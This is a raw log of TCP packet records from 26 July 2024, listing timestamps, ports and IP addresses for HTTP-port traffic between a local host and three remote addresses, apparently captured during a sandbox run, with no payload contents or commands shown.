Jul 26, 2024 09:29:57.288672924 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.288672924 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.293411970 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.293432951 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.293448925 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.293464899 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.293478966 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.293483973 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.293498039 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.293519020 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.298216105 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.298238993 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.298255920 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.298270941 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.298280001 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.298293114 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.298321009 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.303003073 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.303029060 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.303044081 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.303059101 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.303075075 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.303093910 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.303107977 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.354244947 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.369920969 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.369957924 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.369973898 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.370001078 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.370001078 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.370021105 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.456037045 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.456069946 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.456085920 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.456100941 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.456118107 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.456155062 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.456353903 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.456378937 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.456382990 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.456394911 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.456402063 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.456410885 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.456419945 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.456424952 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.456438065 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.456454039 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.532093048 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.532110929 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.532134056 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.532147884 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.532162905 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.532243013 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.532550097 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.532565117 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.532579899 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.532582045 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.532582998 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.532593966 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.532604933 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.532618999 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.532634020 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.608983040 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.609002113 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.609018087 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.609052896 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.609071970 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.609083891 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.609098911 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.609122992 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.609137058 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.609500885 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.609524965 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.609539986 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.609554052 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.609565973 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.609577894 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.609594107 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.726129055 CEST	49165	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:29:57.731096029 CEST	80	49165	188.114.96.3	192.168.2.22
Jul 26, 2024 09:29:57.731204033 CEST	49165	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:29:57.731762886 CEST	49165	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:29:57.733649969 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.733689070 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:57.736963034 CEST	80	49165	188.114.96.3	192.168.2.22
Jul 26, 2024 09:29:57.741626024 CEST	80	49164	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:57.741694927 CEST	49164	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:58.860368013 CEST	80	49165	188.114.96.3	192.168.2.22
Jul 26, 2024 09:29:58.860523939 CEST	49165	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:29:58.875215054 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:58.880412102 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:58.880506992 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:58.880737066 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:58.885793924 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.517443895 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.517467022 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.517477989 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.517498970 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.517513037 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.517524004 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.517524958 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.517570019 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.517570972 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.517570972 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.517585039 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.517596960 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.517606020 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.517616034 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.517626047 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.517646074 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.517653942 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.522723913 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.522757053 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.522768021 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.522799015 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.522799015 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.524138927 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.613042116 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.613054991 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.613065004 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.613138914 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.613141060 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.613152981 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.613195896 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.613234043 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.613251925 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.613264084 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.613284111 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.613296032 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.613352060 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.613352060 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.613352060 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.613352060 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.613352060 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.613481045 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.616414070 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.616425991 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.616436958 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.616446972 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.616457939 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.616467953 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.616477966 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.616477966 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.616477966 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.616508961 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.616543055 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.616648912 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.616660118 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.616671085 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.616681099 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.616681099 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.616689920 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.616694927 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.616718054 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.616718054 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.616733074 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.673721075 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.673746109 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.673749924 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.673753977 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.673819065 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.674141884 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.747890949 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.747910023 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.748034954 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.774787903 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.774807930 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.774826050 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.774837971 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.774859905 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.774868965 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.774883986 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.774930954 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.774930954 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.775099039 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.775114059 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.775150061 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.775162935 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.775718927 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.775732040 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.775743961 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.775755882 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.775778055 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.775791883 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.776298046 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.776352882 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.776392937 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.776434898 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:29:59.868321896 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:29:59.868386984 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.004407883 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.004439116 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.004451036 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.004462957 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.004473925 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.004513979 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.004730940 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.004767895 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.004767895 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.004767895 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.004784107 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.004811049 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.004822969 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.004853010 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.004869938 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.004894972 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.004905939 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.005019903 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.005676031 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.005692959 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.005705118 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.005716085 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.005727053 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.005733013 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.005753994 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.005754948 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.006463051 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.006500959 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.006513119 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.006521940 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.006534100 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.006539106 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.006546974 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.006552935 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.006572008 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.006577969 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.007308006 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.007347107 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.007356882 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.007364988 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.007380009 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.007392883 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.007453918 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.007464886 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.007494926 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.008126974 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.008168936 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.008174896 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.008181095 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.008198977 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.008209944 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.008213043 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.008222103 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.008241892 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.008255959 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.009005070 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.009021044 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.009028912 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.009035110 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:00.009056091 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:00.009076118 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.294517994 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.294538021 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.294548988 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.294559002 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.294570923 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.294580936 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.294591904 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.294601917 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.294614077 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.294624090 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.294636011 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.294647932 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.294686079 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.294730902 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.295077085 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.295171976 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.295183897 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.295222998 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.296267033 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296324968 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296340942 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296349049 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296355009 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.296360016 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296386003 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.296386003 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.296405077 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296410084 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.296416998 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296428919 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296447992 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.296473026 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.296492100 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296504974 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296515942 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296526909 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296549082 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296555042 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.296555042 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.296561003 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296576977 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.296582937 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296595097 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296598911 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.296617031 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296619892 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.296624899 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296628952 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.296708107 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296717882 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296720982 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.296730995 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296732903 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.296742916 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296755075 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296758890 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.296765089 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296767950 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.296777964 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.296792984 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.296808004 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.296824932 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.296905994 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.297122002 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.297168970 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:01.298472881 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:01.298538923 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:04.534032106 CEST	80	49166	91.92.245.100	192.168.2.22
Jul 26, 2024 09:30:04.534305096 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:05.036132097 CEST	49165	80	192.168.2.22	188.114.96.3
Jul 26, 2024 09:30:05.036154985 CEST	49166	80	192.168.2.22	91.92.245.100
Jul 26, 2024 09:30:07.457542896 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:07.462985039 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:07.463128090 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:07.463278055 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:07.468239069 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:07.961440086 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:07.961467028 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:07.961479902 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:07.961503983 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:07.961515903 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:07.961527109 CEST	80	49167	107.173.143.46	192.168.2.22
